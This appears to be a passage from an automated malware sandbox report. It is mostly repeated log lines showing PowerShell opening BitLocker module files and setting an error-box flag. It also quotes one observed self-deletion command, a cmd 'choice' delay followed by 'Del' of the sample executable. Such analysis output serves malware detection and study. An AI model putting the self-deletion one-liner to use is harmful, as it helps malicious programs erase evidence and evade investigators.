Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Self deletion via cmd or bat file
Source: C:\Users\user\Desktop\sE5IdDeTp2.exeProcess created: C:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\user\Desktop\sE5IdDeTp2.exe"
Source: C:\Users\user\Desktop\sE5IdDeTp2.exeProcess created: C:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\user\Desktop\sE5IdDeTp2.exe"Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
